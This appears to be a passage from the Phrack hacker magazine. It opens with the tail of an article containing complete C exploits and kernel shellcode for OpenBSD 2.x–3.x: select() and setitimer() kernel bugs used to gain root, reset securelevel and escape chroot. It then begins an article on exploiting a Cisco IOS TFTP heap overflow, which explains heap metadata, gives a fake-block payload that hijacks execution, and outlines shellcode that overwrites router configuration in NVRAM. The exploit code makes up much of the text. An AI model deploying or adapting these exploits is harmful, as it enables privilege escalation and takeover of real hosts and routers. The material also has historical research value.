"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff\xff\xff\xff\xf2\x66\xaf\x31\xc0"
"\x57\xc3";
void sig_handler();
void get_proc(pid_t, struct kinfo_proc *);
int
main(int argc, char **argv)
{
char *buf, *ptr, *fptr;
u_long pgsz, *lptr, pprocadr;
struct kinfo_proc kp;
printf("\n\n[*] OpenBSD 2.x - 3.x select() kernel overflow [*]\n");
printf("[*] by Sinan \"noir\" Eren - noir@olympos.org [*]\n");
printf("\n\n"); sleep(1);
pgsz = sysconf(_SC_PAGESIZE);
fptr = buf = (char *) malloc(pgsz*4);
if(!buf) {
perror("malloc");
exit(-1);
}
memset(buf, 0x41, pgsz*4);
buf = (char *) (((u_long)buf & ~pgsz) + pgsz);
get_proc((pid_t) getppid(), &kp);
pprocadr = (u_long) kp.kp_eproc.e_paddr;
ptr = (char *) (buf + pgsz - 200); /* userland adr */
lptr = (long *) (buf + pgsz - 8);
*lptr++ = 0x12345678; /* saved %ebp */
*lptr++ = (u_long) ptr; /*(uadr + 0x1ec0); saved %eip */
shellcode[5] = pprocadr & 0xff;
shellcode[6] = (pprocadr >> 8) & 0xff;
shellcode[7] = (pprocadr >> 16) & 0xff;
shellcode[8] = (pprocadr >> 24) & 0xff;
memcpy(ptr, shellcode, sizeof(shellcode)-1);
printf("userland: 0x%.8x ", ptr);
printf("parent_proc: 0x%.8x\n", pprocadr);
if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz,
PROT_WRITE) < 0) {
perror("mprotect");
exit(-1);
}
signal(SIGSEGV, (void (*)())sig_handler);
select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL);
done:
free(fptr);
}
void
sig_handler()
{
exit(0);
}
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
u_int arr[4], len;
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = pid;
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
perror("sysctl");
fprintf(stderr, "this is an unexpected error, rerun!\n");
exit(-1);
}
}
<--> ./ex_kernel/ex_select_obsd.c
<++> ./ex_kernel/ex_select_obsd_secl.c
/**
** OpenBSD 2.x 3.x select() kernel bof exploit
**
** securelevel reset exploit, this is the second stage attack
**
** Sinan "noir" Eren
** noir@olympos.org | noir@uberhax0r.net
** (c) 2002
**
**/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>
/* sel_sc.s shellcode */
unsigned char shellcode[] =
"\xe8\x04\x00\x00\x00\x78\x56\x34\x12\x5f\x8b\x1f\x31\xc0\x89\x03\x8d"
"\x6c\x24\x68\x0f\x01\x4f\x04\x8b\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b"
"\x8b\x04\x04\x00\x00\xc1\xe9\x10\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10"
"\x09\xca\x31\xc9\x41\x8a\x1c\x0a\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41"
"\x8b\x0c\x0a\x83\xc1\x05\x01\xd9\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff"
"\xff\xff\xff\xf2\x66\xaf\x31\xc0\x57\xc3";
void sig_handler();
int
main(int argc, char **argv)
{
char *buf, *ptr, *fptr;
u_long pgsz, *lptr, secladr;
if(!argv[1]) {
printf("Usage: %s secl_addr\nsecl_addr: /usr/bin/nm /bsd |"
" grep _securelevel\n", argv[0]);
exit(0);
}
secladr = strtoul(argv[1], NULL, 16);
pgsz = sysconf(_SC_PAGESIZE);
fptr = buf = (char *) malloc(pgsz*4);
if(!buf) {
perror("malloc");
exit(-1);
}
memset(buf, 0x41, pgsz*4);
buf = (char *) (((u_long)buf & ~pgsz) + pgsz);
ptr = (char *) (buf + pgsz - 200); /* userland adr */
lptr = (long *) (buf + pgsz - 8);
*lptr++ = 0x12345678; /* saved %ebp */
*lptr++ = (u_long) ptr; /*(uadr + 0x1ec0); saved %eip */
shellcode[5] = secladr & 0xff;
shellcode[6] = (secladr >> 8) & 0xff;
shellcode[7] = (secladr >> 16) & 0xff;
shellcode[8] = (secladr >> 24) & 0xff;
memcpy(ptr, shellcode, sizeof(shellcode)-1);
if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz,
PROT_WRITE) < 0) {
perror("mprotect");
exit(-1);
}
signal(SIGSEGV, (void (*)())sig_handler);
select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL);
done:
free(fptr);
}
void
sig_handler()
{
exit(0);
}
<--> ./ex_kernel/ex_select_obsd_secl.c
<++> ./ex_kernel/ex_setitimer_obsd.c
/**
** OpenBSD 2.x 3.x setitimer() kernel memory write exploit
** Sinan "noir" Eren
** noir@olympos.org | noir@uberhax0r.net
** (c) 2002
**
**/
#include <stdio.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/time.h>
#include <sys/sysctl.h>
struct itimerval val, oval;
int which = 0;
int
main(int argc, char **argv)
{
find_which();
setitimer(which, &val, &oval);
seteuid(0);
setuid(0);
printf("uid: %d euid: %d gid: %d \n", getuid(), geteuid(), getgid());
execl("/bin/sh", "noir", NULL);
}
find_which()
{
unsigned int arr[4], len;
struct kinfo_proc kp;
long stat, cred, rem;
memset(&val, 0x00, sizeof(val));
val.it_interval.tv_sec = 0x00; //fill this with cr_ref
val.it_interval.tv_usec = 0x00;
val.it_value.tv_sec = 0x00;
val.it_value.tv_usec = 0x00;
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = getpid();
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, &kp, &len, NULL, 0) < 0) {
perror("sysctl");
fprintf(stderr, "this is an unexpected error, rerun!\n");
exit(-1);
}
printf("proc: %p\n\n", (u_long) kp.kp_eproc.e_paddr);
printf("pc_ucred: %p ", (u_long) kp.kp_eproc.e_pcred.pc_ucred);
printf("p_ruid: %d\n\n", (u_long) kp.kp_eproc.e_pcred.p_ruid);
printf("proc->p_cred->p_ruid: %p, proc->p_stats: %p\n",
(char *) (kp.kp_proc.p_cred) + 4, kp.kp_proc.p_stats);
printf("cr_ref: %d\n", (u_long) kp.kp_eproc.e_ucred.cr_ref);
cred = (long) kp.kp_eproc.e_pcred.pc_ucred;
stat = (long) kp.kp_proc.p_stats;
val.it_interval.tv_sec = kp.kp_eproc.e_ucred.cr_ref;
printf("calculating which for u_cred:\n");
which = cred - stat - 0x90;
rem = ((u_long)which%0x10);
printf("which: %.8x reminder: %x\n", which, rem);
switch(rem) {
case 0x8:
case 0x4:
case 0xc:
break;
case 0x0:
printf("using u_cred, we will have perminent euid=0\n");
goto out;
}
val.it_interval.tv_sec = 0x00;
cred = (long) ((char *) kp.kp_proc.p_cred+4);
stat = (long) kp.kp_proc.p_stats;
printf("calculating which for u_cred:\n");
which = cred - stat - 0x90;
rem = ((u_long)which%0x10);
printf("which: %.8x reminder: %x\n", which, rem);
switch(rem) {
case 0x8:
case 0x4:
printf("too bad rem is fucked!\nlet me know about this!!\n");
exit(0);
case 0x0:
break;
case 0xc:
which += 0x10;
}
printf("\nusing p_cred instead of u_cred, only the new process "
"will be priviliged\n");
out:
which = which >> 4;
printf("which: %.8x\n", which);
printf("addr to overwrite: %.8x\n", stat + 0x90 + (which * 0x10));
}
<--> ./ex_kernel/ex_setitimer_obsd.c
<++> ./ex_kernel/kernel_sc.s
# kernel level shellcode
# noir@olympos.org | noir@uberhax0r.net
# 2002
.text
.align 2,0x90
.globl _main
.type _main , @function
_main:
call moo
.long 0x12345678
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop %edi
mov (%edi),%ecx # parent's proc addr on ecx
# update p_cred->p_ruid
mov 0x10(%ecx),%ebx # ebx = p_cred
xor %eax,%eax # eax = 0
mov %eax,0x4(%ebx)
# p_ruid = 0
# update pc_ucred->cr_uid
mov (%ebx),%edx # edx = pc_ucred
mov %eax,0x4(%edx)
# cr_uid = 0
# update p_fd->fd_rdir to break chroot()
mov 0x14(%ecx),%edx # edx = p_fd
mov %eax,0xc(%edx)
# p_fd->fd_rdir = 0
lea 0x68(%esp),%ebp
# set ebp to normal
# find where to return: sidt technique
sidt 0x4(%edi)
mov 0x6(%edi),%ebx # mov _idt_region in eax
mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400]
mov 0x404(%ebx),%ecx # _idt_region[0x404]
shr $0x10,%ecx
sal $0x10,%ecx
sal $0x10,%edx
shr $0x10,%edx
or %ecx,%edx # edx = ecx | edx; _Xosyscall_end
# search for Xosyscall_end+XXX: call _syscall instruction
xor %ecx,%ecx
up:
inc %ecx
movb (%edx,%ecx),%bl
cmpb $0xe8,%bl
jne up
lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall
inc %ecx
mov (%edx,%ecx),%ecx # take the displacement of the call ins.
add $0x5,%ecx # add 5 to displacement
add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp
# search for _syscall+0xXXX: call *%eax
# and return to where we were supposed to!
# _syscall+0x240: ff
# _syscall+0x241: d0 0x240,0x241 on obsd3.1
mov %ecx,%edi # ecx is addr of _syscall
movw $0xd0ff,%ax
cld
mov $0xffffffff,%ecx
repnz
scasw #scan (%edi++) for %ax
#return to *%edi
xor %eax,%eax #set up the return value to Success ;)
push %edi
ret
<--> ./ex_kernel/kernel_sc.s
<++> ./ex_kernel/secl_sc.s
# securelevel reset shellcode
# noir@olympos.org | noir@uberhax0r.net
# 2002
.text
.align 2,0x90
.globl _main
.type _main , @function
_main:
call moo
.long 0x12345678
moo:
pop %edi
mov (%edi),%ebx # address of securelevel
xor %eax,%eax # eax = 0
mov %eax,(%ebx)
# securelevel = 0
lea 0x68(%esp),%ebp
# set ebp to normal
# find where to return: sidt technique
sidt 0x4(%edi)
mov 0x6(%edi),%ebx # mov _idt_region in eax
mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400]
mov 0x404(%ebx),%ecx # _idt_region[0x404]
shr $0x10,%ecx
sal $0x10,%ecx
sal $0x10,%edx
shr $0x10,%edx
or %ecx,%edx # edx = ecx | edx; _Xosyscall_end
# search for Xosyscall_end+XXX: call _syscall instruction
xor %ecx,%ecx
up:
inc %ecx
movb (%edx,%ecx),%bl
cmpb $0xe8,%bl
jne up
lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall
inc %ecx
mov (%edx,%ecx),%ecx # take the displacement of the call ins.
add $0x5,%ecx # add 5 to displacement
add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp
# search for _syscall+0xXXX: call *%eax
# and return to where we were supposed to!
# _syscall+0x240: ff
# _syscall+0x241: d0 OBSD3.1
mov %ecx,%edi # ecx is addr of _syscall
movw $0xd0ff,%ax
cld
mov $0xffffffff,%ecx
repnz
scasw #scan (%edi++) for %ax
#return to *%edi
xor %eax,%eax #set up the return value to Success ;)
push %edi
ret
<--> ./ex_kernel/secl_sc.s
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x07 of 0x10
|=-------------=[ Burning the bridge: Cisco IOS exploits ]=--------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ FX of Phenoelit <fx@phenoelit.de> ]=----------------=|
--[ Contents
1 - Introduction and Limitations
2 - Identification of an overflow
3 - IOS memory layout sniplets
4 - A free() exploit materializes
5 - Writing (shell)code for Cisco
6 - Everything not covered in 1-5
--[ 1 - Introduction and Limitations
This article is to introduce the reader into the fun land of exploiting a
routing device made by Cisco Systems. It is not the final word on this
toppic and merely reflects our research results.
According to Cisco Systems, around 85% of all software issues in IOS are
the direct or indirect result of memory corruptions. By the time of this
writing, yours truly is not aware of one single case, where overflowing
something in Cisco IOS led to a direct overwrite of a return address.
Although there are things like stacks in IOS, it seems to be very uncommon
for IOS coders to use local function buffers. Therefore, most (if not all)
overflows we will encounter are some way or anyother heap based.
As a fellow researcher used to say, bugs are not an unlimited resource.
Especially overflow bugs in Cisco IOS are fairly rare and not easily
compared to each other. This article will therefore limit the discussion
to one particular bug: the Cisco IOS TFTP server filename overflow. When
using your router as a TFTP server for files in the flash filesystem, a
TFTP GET request with a long (700 characters) filename will cause the
router to crash. This happens in all IOS versions from 11.1 to 11.3. The
reader might argue the point that this is no longer a widely used branch,
but yours truly asks you to bare with him to the end of this article.
The research results and methods presented here were collected during
inspection and exploitation attempts using the already mentioned TFTP bug.
By the time of this writing, other bugs are researched and different
approaches are tested, but the here presented procedure is still seen as
the most promising for widespread use. This translates to: use your
favorite private Cisco IOS overflow and try it.
--[ 2 - Identification of an overflow
While the reader is probably used to identify stack smashing in a split
second on a commonly used operating system, he might have difficulties
identifying an overflow in IOS. As yours truly already mentioned, most
overflows are heap based. There are two different ways in IOS to identify
a heap overflow when it happens. Being connected to the console, the
reader might see output like this:
01:14:16: %SYS-3-OVERRUN: Block overrun at 2C01E14 (red zone 41414141)
-Traceback= 80CCC46 80CE776 80CF1BA 80CF300
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
20E3ADC,80CA1D8 20DFBE0,80CA1D8 20CF4FC,80CA1D8 20C851C,80CA1D8
20C6F20,80CA1D8 20B43FC,80CA1D8 20AE130,80CA1D8 2075214,80CA1D8
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
20651E0,80CA1D8 205EF04,80CA1D8 205B338,80CA1D8 205AB80,80CA1D8
20AFCF8,80CA1C6 205A664,80CA1D8 20AC56C,80CA1C6 20B1A88,80CA1C6
01:14:16: %SYS-6-BLKINFO: Corrupted redzone blk 2C01E14, words 382,
alloc 80ABBFC, InUse, dealloc 206E2F0, rfcnt 1
In this case, an IOS process called "Check heaps", of which we will hear
a lot more later, has identified a problem in the heap structures. After
doing so, "Check heaps" will cause what we call a software forced crash.
It means that the process kills the Cisco and makes it reboot in order
to get rid of the problem. We all know this behavior from users of
MS-DOS or Windows based systems. What happend here is that an A-Strip
overwrote a boundary between two heap memory blocks. This is protected by
what Cisco calls a "RED ZONE", which in fact is just a static canary.
The other way a heap overflow could manifest itself on your console is an
access violation:
access address = 0x5f227998
program counter = 0x80ad45a
status register = 0x2700
vbr at time of exception = 0x4000000
special status word = 0x0045
faulted cycle was a longword read
This is the case when you are lucky and half of the work is already done.
IOS used a value that you somehow influenced and referenced to not
readable memory. Unfortunately, those overflows are later harder to
exploit, since tracking is a lot more difficult.
At this point in time, you should try to figure out under which exact
circumstances the overflow happens - pretty much like with every other bug
you find. If the lower limit of your buffer size changes, try to make sure
that you don't play with the console or telnet(1) connections to the router
during your tests. The best is always to test the buffer length with a just
rebooted router. While it doesn't change much for most overflows, some
react differently when the system is freshly rebooted compared to a system
in use.
--[ 3 - IOS memory layout sniplets
To get any further with the overflow, we need to look at the way IOS
organizes memory. There are basically two main areas in IOS: process memory
and IO memory. The later is used for packet buffers, interface ring buffers
and so on and can be of interest for exploitation but does not provide some
of the critical things we are looking for. The process memory on the other
hand behaves a lot like dynamic heap memory in Linux.
Memory in IOS is split up in blocks. There seems to be a number of pointer
tables and meta structures dealing with the memory blocks and making sure
IOS can access them in an efficient way. But at the end of the day, the
blocks are hold together in a linked list structure and store their
management information mostly inline. This means, every memory block has
a header, which contains information about the block, it's previous one
and the next one in the list.
+--------------+
.-- | Block A | <-.
| +--------------+ |
+-> | Block B | --+
+--------------+
| Block C |
+--------------+
The command "show memory processor" clearly shows the linked list
structure.
A memory block itself consists of the block header with all the inline
management information, the data part where the actual data is stored
and the red zone, which we already encountered. The format is as follows:
|<- 32 bit ->| Comment
+--------------+
| MAGIC | Static value 0xAB1234CD
+--------------+
| PID | IOS process ID
+--------------+
| Alloc Check | Area the allocating process uses for checks
+--------------+
| Alloc name | Pointer to string with process name
+--------------+
| Alloc PC | Code address that allocated this block
+--------------+
| NEXT BLOCK | Pointer to the next block
+--------------+
| PREV BLOCK | Pointer to the previous block
+--------------+
| BLOCK SIZE | Size of the block (MSB marks "in use")
+--------------+
| Reference # | Reference count (again ???)
+--------------+
| Last Deallc | Last deallocation address
+--------------+
| DATA |
| |
....
| |
+--------------+
| RED ZONE | Static value 0xFD0110DF
+--------------+
In case this memory block is used, the size field will have it's most
significant bit set to one. The size is represented in words (2 bytes),
and does not include the block overhead. The reference count field is
obviously designed to keep track of the number of processes using this
block, but yours truly has never seen this being something else then 1
or 0. Also, there seem to be no checks for this field in place.
In case the memory block is not used, some more management data is
introduced at the point where the real data was stored before:
| [BLOCK HEAD] |
+--------------+
| MAGIC2 | Static value 0xDEADBEEF
+--------------+
| Somestuff |
+--------------+
| PADDING |
+--------------+
| PADDING |
+--------------+
| FREE NEXT | Pointer to the next free block
+--------------+
| FREE PREV | Pointer to the previous free block
+--------------+
| |
....
| |
+--------------+
| RED ZONE | Static value 0xFD0110DF
+--------------+
Therefore, a free block is an element in two different linked lists:
One for the blocks in general (free or not), another one for the list of
free memory blocks. In this case, the reference count will be zero and
the MSB of the size field is not set. Additionally, if a block was used
at least once, the data part of the block will be filled with 0x0D0D0D0D.
IOS actually overwrites the block data when a free() takes place to prevent
software issues from getting out of hand.
At this point, yours truly would like to return to the toppic of the "Check
heaps" process. It is here to run about once a minute and checks the doubly
linked lists of blocks. It basically walks them down from top to buttom to
see if everything is fine. The tests employed seem to be pretty extensive
compared to common operating systems such as Linux. As far as yours truly
knows, this is what it checks:
1) Doest the block being with MAGIC (0xAB1234CD)?
2) If the block is in use (MSB in size field is set), check if the
red zone is there and contains 0xFD0110DF.
3) Is the PREV pointer not NULL?
4) If there is a NEXT pointer ...
4.1) Does it point right after the end of this block?
4.2) Does the PREV pointer in the block pointed to by NEXT point
back to this block's NEXT pointer?
5) If the NEXT pointer is NULL, does this block end at a memory
region/pool boundary [NOTE: not sure about this one].
6) Does the size make sense? [NOTE: The exact test done here is
still unknown]
If one of these tests is not satisfied, IOS will declare itself unhappy and
perform a software forced crash. To some extend, one can find out which
test failed by taking a look at the console output line that says
"validblock_diagnose = 1". The number indicates what could be called "class
of tests", where 1 means that the MAGIC was not correct, 3 means that the
address is not in any memory pool and 5 is really a bunch of tests but
mostly indicates that the tests lined out in point 4.1 and 4.2 failed.
--[ 4 - A free() exploit materializes
Now that we know a bit about the IOS memory structure, we can plan to
overflow with some more interesting data than just 0x41. The basic idea is
to overwrite the next block header, hereby provide some data to IOS, and
let it work with this data in a way that gives us control over the CPU. How
this is usually done is explained in [1]. The most important difference
here is, that we first have to make "Check heaps" happy. Unfortunately,
some of the checks are also performed when memory is allocated or free()ed.
Therefore, slipping under the timeline of one minute between two "Check
heaps" runs is not an option here.
The biggest problems are the PREV pointer check and the size field. Since
the vulnerability we are working with here is a string overflow, we also
have the problem of not being able to use 0x00 bytes. Let's try to deal
with the issues we have one by one.
The PREV pointer has to be correct. Yours truly has not found any way to
use arbitrary values here. The check outlined in the checklist as 4.2 is a
serious problem, since it is done on the block we are sitting in - not the
one we are overflowing. To illustrate the situation:
+--------------+
| Block Head |
...
| AAAAAAAAAAAA | <--- You are here
| AAAAAAAAAAAA |
| AAAAAAAAAAAA |
+--------------+
| RED ZONE | <--- Your data here
+==============+
| Block Head |
...
We will call the uppermost block, who's data part we are overflowing, the
"host block", because it basically "hosts" our evildoing. For the sake of
clarity, we will call the overwritten block header the "fake block", since
we try to fake it's contents.
So, when "Check heaps" or comparable checks during malloc() and free() are
performed on our host block, the overwrite is already noticed. First of
all, we have to append the red zone canary to our buffer. If we overflow
exactly with the number of bytes the buffer can hold and append the red
zone dword 0xFD0110DF, "Check heaps" will not complain. From here one, it's
fair game up to the PREV ptr - because the values are either static (MAGIC)
or totally ignored (PID, Alloc ptrs).
Assumed we overwrite RED ZONE, MAGIC, PID, the three Alloc pointer, NEXT
and PREV, a check performed on the host block will already trigger a
software forced crash, since the PREV pointer we overwrote in the next
block does not point back to the host block. We have only one way today to
deal with this issue: we crash the device. The reason behind this is, that
we put it in a fairly predictable memory state. After a reboot, the memory
is more or less structured the same way. This also depends on the amount
of memory available in the device we are attacking and it's certainly not a
good solution. When crashing the device the first time with an A-Strip, we
can try to grab logging information off the network or the syslog server if
such a thing is configured. Yours truly is totally aware of the fact that
this prevents real-world application of the technique. For this article,
let's just assume you can read the console output.
Now that we know the PREV pointer to put into the fake block, let's go on.
For now ignoring the NEXT pointer, we have to deal with the size field. The
fact that this is a 32bit field and we are doing a string overflow prevents
us from putting reasonable numbers in there. The smallest number for a used
block would be 0x80010101 and for an unused one 0x01010101. This is much
more than IOS would accept. But to make a long story short, putting
0x7FFFFFFF in there will pass the size field checks. As simple as that.
In this particular case, as with many application level service overflows
in IOS, our host block is one of the last blocks in the chain. The most
simple case is when the host block is the next-to-last block. And viola,
this is the case with the TFTP server overflow. In other cases, the attack
involves creating more than one fake block header and becomes increasingly
complicated but not impossible. But from this point on, the discussion is
pretty much centered around the specific bug we are dealing with.
Assumed normal operation, IOS will allocate some block for storing the
requested file name. The block after that is the remaining free memory.
When IOS is done with the TFTP operation, it will free() the block it just
allocated. Then, it will find out that there are two free blocks - one
after the other - in memory. To prevent memory fragmentation (a big problem
on heavy load routers), IOS will try to coalesce (merge) the free blocks
into one. By doing so, the pointers for the linked lists have to be
adjusted. The NEXT and PREV pointers of the block before that and the block
after that (the remaining free memory) have to be adjusted to point to each
other. Additionally, the pointers in the free block info FREE NEXT and FREE
PREV have to be adjusted, so the linked list of free blocks is not broken.
Out of the sudden, we have two pointer exchange operations that could
really help us. Now, we know that we can not choose the pointer in PREV.
Although, we can choose the pointer in NEXT, assumed that "Check heaps"
does not fire before our free() tok place, this only allowes us to write
the previous pointer to any writable location in the routers memory. Being
usefull by itself, we will not look deeper into this but go on to the FREE
NEXT and FREE PREV pointers. As the focused reader surely noticed, these
two pointers are not validated by "Check heaps".
What makes exploitation of this situation extremely convenient is that
fact, that the pointer exchange in FREE PREV and FREE NEXT only relies on
the values in those two fields. What happens during the merge operation is
this:
+ the value in FREE PREV is written to where FREE NEXT points to
plus an offset of 20 bytes
+ the value in FREE NEXT is written to where FREE PREV points to
The only thing we need now is a place to write a pointer to. As with many
other pointer based exploits, we are looking for a fairly static location
in memory to do this. Such a static location (changes per IOS image) is the
process stack of standard processes loaded right after startup. But how do
we find it?
In the IOS memory list, there is an element called the "Process Array".
This is a list of pointers - one for every process currently running in
IOS. You can find it's location by issuing a "show memory processor
allocating-process" command (output trimmed):
radio#show memory processor allocating-process
Processor memory
Address Bytes Prev. Next Ref Alloc Proc Alloc PC What
258AD20 1504 0 258B32C 1 *Init* 20D62F0 List Elements
258B32C 3004 258AD20 258BF14 1 *Init* 20D6316 List
...
258F998 1032 258F914 258FDCC 1 *Init* 20E5108 Process Array
258FDCC 1000 258F998 25901E0 1 Load Meter 20E54BA Process Stack
25901E0 488 258FDCC 25903F4 1 Load Meter 20E54CC Process
25903F4 128 25901E0 25904A0 1 Load Meter 20DD1CE Process Events
This "Process Array" can be displayed by the "show memory" command:
radio#show memory 0x258F998
0258F990: AB1234CD FFFFFFFE +.4M...~
0258F9A0: 00000000 020E50B6 020E5108 0258FDCC ......P6..Q..X}L
0258F9B0: 0258F928 80000206 00000001 020E1778 .Xy(...........x
0258F9C0: 00000000 00000028 02590208 025D74C0 .......(.Y...]t@
0258F9D0: 02596F3C 02598208 025A0A04 025A2F34 .Yo<.Y...Z...Z/4
0258F9E0: 025AC1FC 025BD554 025BE920 025BFD2C .ZA|.[UT.[i .[},
0258F9F0: 025E6FF0 025E949C 025EA95C 025EC484 .^op.^...^)\.^D.
0258FA00: 025EF404 0262F628 026310DC 02632FD8 .^t..bv(.c.\.c/X
0258FA10: 02634350 02635634 0263F7A8 026418C0 .cCP.cV4.cw(.d.@
0258FA20: 026435FC 026475E0 025D7A38 026507E8 .d5|.du`.]z8.e.h
0258FA30: 026527DC 02652AF4 02657200 02657518 .e'\.e*t.er..eu.
0258FA40: 02657830 02657B48 02657E60 0269DCFC .ex0.e{H.e~`.i\|
0258FA50: 0269EFE0 026A02C4 025DD870 00000000 .io`.j.D.]Xp....
0258FA60: 00000000 025C3358 026695EC 0266A370 .....\3X.f.l.f#p
While you also see the already discussed block header format in action now,
the interesting information starts at 0x0258F9C4. Here, you find the number
of processes currently running on IOS. They are ordered by their process
ID. What we are looking for is a process that gets executed every once in a
while. The reason for this is, if we modify something in the process data
structures, we don't want the process being active at this point in time,
so that the location we are overwriting is static. For this reason, yours
truly picked the "Load Meter" process, which is there to measure the system
load and is fired off about every 30 seconds. Let's get the PID of
"Load Meter":
radio#show processes cpu
CPU utilization for five seconds: 2%/0%; one minute: 3%; five minutes: 3%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process
1 80 1765 45 0.00% 0.00% 0.00% 0 Load Meter
Well, conveniently, this process has PID 1. Now, we check the memory
location the "Process Array" points to. Yours truly calls this memory
location "process record", since it seems to contain everything IOS needs
to know about the process. The first two entries in the record are:
radio#sh mem 0x02590208
02590200: 0258FDF4 025901AC .X}t.Y.,
02590210: 00001388 020E488E 00000000 00000000 ......H.........
02590220: 00000000 00000000 00000000 00000000 ................
The first entry in this record is 0x0258FDF4, which is the process stack.
You can compare this to the line above that says "Load Meter" and "Process
Stack" on it in the output of "show memory processor allocating-process".
The second element is the current stack pointer of this process
(0x025901AC). By now it should also be clear why we want to pick a process
with low activity. But surprisingly, the same procedure also works quite
well with busier processes such as "IP Input". Inspecting the location of
the stack pointer, we see something quite familiar:
radio#sh mem 0x025901AC
025901A0: 025901C4 .Y.D
025901B0: 020DC478 0256CAF8 025902DE 00000000 ..Dx.VJx.Y.^....
This is classic C calling convention: first we find the former frame
pointer and then we find the return address. Therefore, 0x025901B0 is the
address we are targeting to overwrite with a pointer supplied by us.
The only question left is: Where do we want the return address to point to?
As already mentioned, IOS will overwrite the buffer we are filling with
0x0D0D0D0D when the free() is executed - so this is not a good place to
have your code in. On the other hand, the fake block's data section is
already considered clean from IOS's point of view, so we just append our
code to the fake block header we already have to send. But what's the
address of this? Well, since we have to know the previous pointer, we can
calculate the address of our code as offset to this one - and it turns out
that this is actually a static number in this case. There are other, more
advanced methods to deliver the code to the device, but let's keep focused.
The TFTP filename we are asking for should now have the form of:
+--------------+
| AAAAAAAAAAAA |
...
| AAAAAAAAAAAA |
+--------------+
| FAKE BLOCK |
| |
....
| |
+--------------+
| CODE |
| |
....
+--------------+
At this point, we can build the fake block using all the information we
gathered:
char fakeblock[] =
"\xFD\x01\x10\xDF" // RED
"\xAB\x12\x34\xCD" // MAGIC
"\xFF\xFF\xFF\xFF" // PID
"\x80\x81\x82\x83" //
"\x08\x0C\xBB\x76" // NAME
"\x80\x8a\x8b\x8c" //
"\x02\x0F\x2A\x04" // NEXT
"\x02\x0F\x16\x94" // PREV
"\x7F\xFF\xFF\xFF" // SIZE
"\x01\x01\x01\x01" //
"\xA0\xA0\xA0\xA0" // padding
"\xDE\xAD\xBE\xEF" // MAGIC2
"\x8A\x8B\x8C\x8D" //
"\xFF\xFF\xFF\xFF" // padding
"\xFF\xFF\xFF\xFF" // padding
"\x02\x0F\x2A\x24" // FREE NEXT (in BUFFER)
"\x02\x59\x01\xB0" // FREE PREV (Load Meter return addr)
;
When sending this to the Cisco, you are likely to see something like this:
illegal instruction interrupt
program counter = 0x20f2a24
status register = 0x2700
vbr at time of exception = 0x4000000
depending on what comes after your fake block header. Of course, we did not
provide code for execution yet. But at this point in time, we got the CPU
redirected into our buffer.
--[ 5 - Writing (shell)code for Cisco
Before one can write code for the Cisco platform, you have to decide on the
general processor architecture you are attacking. For the purpose of this
paper, we will focus on the lower range devices running on Motorola 68k
CPUs.
Now the question is, what do you want to do with your code on the system.
Classic shell code design for commonly used operating system platforms uses
syscalls or library functions to perform some port binding and provide
shell access to the attacker. The problem with Cisco IOS is, that we will
have a hard time keeping it alive after we performed our pointer games.
This is because in contrast to "normal" daemons, we destroyed the memory
management of the operating system core and we can not expect it to cope
with the mess we left for it.
Additionally, the design of IOS does not feature transparent syscalls as
far as yours truly knows. Because of it's monolithic design, things are
linked together at build time. There might be ways to call different
subfunctions of IOS even after an heap overflow attack, but it appears to
be an inefficient route to take for exploitation and would make the whole
process even more instable.
The other way is to change the routers configuration and reboot it, so it
will come up with the new config, which you provided. This is far more
simpler than trying to figure out syscalls or call stack setups. The idea
behind this approach is, that you don't need any IOS functionality anymore.
Because of this, you don't have to figure out addresses and other vital
information about the IOS. All you have to know is which NVRAM chips are
used in the box and where there are mapped. This might sound way more
complicated than identifying functions in an IOS image - but is not. In
contrast to common operating systems on PC platforms, where the number of
possible hardware combinations and memory mappings by far exceedes a
feasable mapping range, it's the other way around for Cisco routers. You
can have more than ten different IOS images on a single platform - and this
is only one branch - but you always have the same general memory layout and
the ICs don't change for the most part. The only thing that may differ
between two boxes are the modules and the size of available memory (RAM,
NVRAM and Flash), but this is not of big concern for us.
The non-volatile random access memory (NVRAM) stores the configuration of a
Cisco router in most cases. The configuration itself is stored in plain
text as one continious C-style string or text file and is terminated by the
keyword 'end' and one or more 0x00 bytes. A header structure contains
information like the IOS version that created this configuration, the size
of it and a checksum. If we replace the config on the NVRAM with our own
and calculate the numbers for the header structure correctly, the router
will use our IP addresses, routings, access lists and (most important)
passwords next time it reloads.
As one can see on the memory maps [2], there are one (in the worst case
two) possible memory addresses for the NVRAM for each platform. Since
the NVRAM is mapped into the memory just like most memory chips are, we
can access it with simple memory move operations. Therefore, the only thing
we need for our "shell" code is the CPU (M68k), it's address and data bus
and the cooperation of the NVRAM chip.
